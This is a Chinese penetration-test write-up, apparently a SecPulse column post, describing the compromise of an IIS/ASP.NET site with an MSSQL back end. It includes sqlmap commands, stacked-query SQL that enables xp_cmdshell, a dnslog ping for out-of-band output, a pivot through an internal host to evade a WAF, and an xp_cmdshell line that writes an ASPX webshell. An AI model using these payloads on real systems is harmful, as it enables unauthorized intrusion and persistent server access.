记录一次实战稍曲折拿下目标站点的过程。
IIS7.0
+ASP.NET
的组合,简单尝试发现前台登录页面可能存在SQL注入,数据包如下:
为了节约时间直接祭出sqlmap,-r x.txt -v 3 --random-agent --dbms=mssql --batch
识别出了数据库,却被不明力量拦截了。
手工尝试绕过不明力量,堆叠的方式利用xp_cmdshell尝试将命令回显从dnslog中带出来:
先开xp_cmdshell:
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE
利用dnslog带出回显:
EXEC master..xp_cmdshell 'ping xxx.dnslog.cn -n 2'
一顿操作过后发现dnslog没反应,这里可能有几个原因,第一就是被不明力量拦截了,第二是目标不出网,第三可能我们语句构造有问题。是第一个原因的可能性比较大。
放弃注入后,还测试了其他漏洞,都以失败告终。但是目标是一个单位的子域而已,可以从单位的其他站点入手,进入内网后再尝试MS17010、pth等等手段来拿到目标机器权限即可。
于是在历经九九八十一难后,我们终于在目标所属B段中拿到一台机器权限,并使用代理成功进入内网。
遗憾的是拿到的机器是linux服务器,并且内网MS17010都已经打了补丁,fscan扫出来的结果基本无用。如果我们继续拿内网机器权限再利用hash传递攻击尝试的话,且不说密码是否通杀,就时间上也会浪费不少,于是陷入了小小的尴尬境地。
不过我们随即转念一想,大多数的不明力量都会部署在dmz或者在最外层交换机之上,而目前我们在内网中是不是不会受到不明力量影响?思路到此立即掏出sqlmap,再次-r x.txt -v 3 --random-agent --dbms=mssql --batch
果然如我们所想,成功注出来了,先看一下权限:
dba权限,直接os-shell,采用的是堆叠+延时的注入,一个whoami等了将近10分钟的时间,太慢了,还是手注吧。
从whoami的回显得知系统权限为低权限,加用户肯定是行不通了,站库没有分离,直接写个webshell。路径的话在报错的数据包就可以找到,值得注意的是,这里权限是普通用户权限,所以写webshell最好选择上传的目录或图片路径,本人尝试写入根路径浪费了一些时间。
上语句:
%';EXEC xp_cmdshell 'echo "xxx" > D:\xxx\xxx\xxx.aspx' -- -
成功getshell,最后用土豆提权收个尾,战斗结束。
本文作者:黑客前沿
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/193987.html